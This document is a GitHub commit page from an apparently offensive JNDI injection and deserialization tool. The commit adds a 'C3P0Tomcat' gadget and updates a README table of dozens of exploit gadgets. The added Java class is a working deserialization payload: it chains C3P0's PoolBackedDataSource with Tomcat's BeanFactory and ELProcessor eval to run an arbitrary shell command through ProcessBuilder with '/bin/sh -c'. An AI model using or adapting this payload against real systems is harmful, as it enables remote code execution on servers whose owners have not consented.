Skip to content

Commit f07af2a

Browse files
committed
add c0p3tomcat
add c0p3tomcat fix c0p3 warning info
1 parent fd035e5 commit f07af2a

File tree

5 files changed

+87
-1
lines changed

5 files changed

+87
-1
lines changed

README.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
3535
Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
3636
Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
3737

38-
#### 3. Deserailization Gadget (total: 55)
38+
#### 3. Deserailization Gadget (total: 58)
3939

4040
P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^
4141

@@ -44,6 +44,7 @@ payload | author | dependencies
4444
AspectJWeaver |@Jang |aspectjweaver:1.9.2, commons-collections:3.2.2
4545
BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
4646
C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
47+
C3P0Tomcat |@yulegeyu |tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
4748
Click1 |@artsploit |click-nodeps:2.3.0, javax.servlet-api:3.1.0
4849
Clojure |@JackOfMostTrades |clojure:1.8.0
4950
Coherence1 :arrow_up: |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
@@ -94,6 +95,8 @@ Weblogic2 :arrow_up: |@cckuailong |weblogic:10.3.6.0,
9495
Weblogic3 :arrow_up: |@cckuailong |com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
9596
Weblogic4 :arrow_up: |@cckuailong |weblogic.common.internal.WLObjectOutputStream
9697
Weblogic5 :arrow_up: |@cckuailong |weblogic:12.2.1.4, coherence
98+
Weblogic6 :arrow_up: |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
99+
Weblogic7 :arrow_up: |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
97100
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
98101
WildFly1 :arrow_up: |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
99102

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
package payloads;
2+
3+
4+
import com.mchange.v2.c3p0.PoolBackedDataSource;
5+
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
6+
import org.apache.naming.ResourceRef;
7+
import payloads.annotation.Authors;
8+
import payloads.annotation.Dependencies;
9+
import util.PayloadRunner;
10+
import util.Reflections;
11+
12+
import javax.naming.NamingException;
13+
import javax.naming.Reference;
14+
import javax.naming.Referenceable;
15+
import javax.naming.StringRefAddr;
16+
import javax.sql.ConnectionPoolDataSource;
17+
import javax.sql.PooledConnection;
18+
import java.io.PrintWriter;
19+
import java.sql.SQLException;
20+
import java.sql.SQLFeatureNotSupportedException;
21+
import java.util.logging.Logger;
22+
23+
24+
/**
25+
*
26+
* @author yulegeyu
27+
*
28+
*/
29+
@Dependencies( { "tomcat", "com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"} )
30+
@Authors({ Authors.YULEGEYU })
31+
public class C3P0Tomcat implements ObjectPayload<Object> {
32+
public Object getObject ( String command ) throws Exception {
33+
34+
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
35+
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("org.apache.naming.factory.BeanFactory", null, command));
36+
return b;
37+
}
38+
39+
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
40+
41+
private String className;
42+
private String url;
43+
private String command;
44+
45+
public PoolSource ( String className, String url, String command ) {
46+
this.className = className;
47+
this.url = url;
48+
this.command = command;
49+
}
50+
51+
public Reference getReference () throws NamingException {
52+
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
53+
ref.add(new StringRefAddr("forceString", "x=eval"));
54+
String cmd = this.command;
55+
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','"+ cmd +"']).start()\")"));
56+
return ref;
57+
}
58+
59+
public PrintWriter getLogWriter () throws SQLException {return null;}
60+
public void setLogWriter ( PrintWriter out ) throws SQLException {}
61+
public void setLoginTimeout ( int seconds ) throws SQLException {}
62+
public int getLoginTimeout () throws SQLException {return 0;}
63+
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
64+
public PooledConnection getPooledConnection () throws SQLException {return null;}
65+
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
66+
67+
}
68+
69+
public static byte[] getBytes ( final String command ) throws Exception {
70+
return PayloadRunner.run(C3P0Tomcat.class, command);
71+
}
72+
73+
public static void main ( final String command ) throws Exception {
74+
PayloadRunner.run(C3P0Tomcat.class, command);
75+
}
76+
77+
}

src/main/java/payloads/annotation/Authors.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@
2828
String HUGOW = "hugow";
2929
String FIREBASKY = "Firebasky";
3030
String CCKUAILONG = "cckuailong";
31+
String YULEGEYU = "yulegeyu";
3132

3233
String[] value() default {};
3334

src/main/java/run/ServerStart.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import org.apache.commons.cli.*;
99
import org.apache.commons.codec.binary.Hex;
1010
import org.apache.commons.lang3.StringUtils;
11+
import org.apache.log4j.BasicConfigurator;
1112
import org.apache.sshd.common.util.io.NullPrintStream;
1213
import payloads.ObjectPayload;
1314
import payloads.annotation.Authors;
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
log4j.rootLogger=ERROR, stdout
2+
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
3+
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
4+
log4j.appender.stdout.layout.ConversionPattern=%d %p [%c] - %m%n

0 commit comments

Comments
 (0)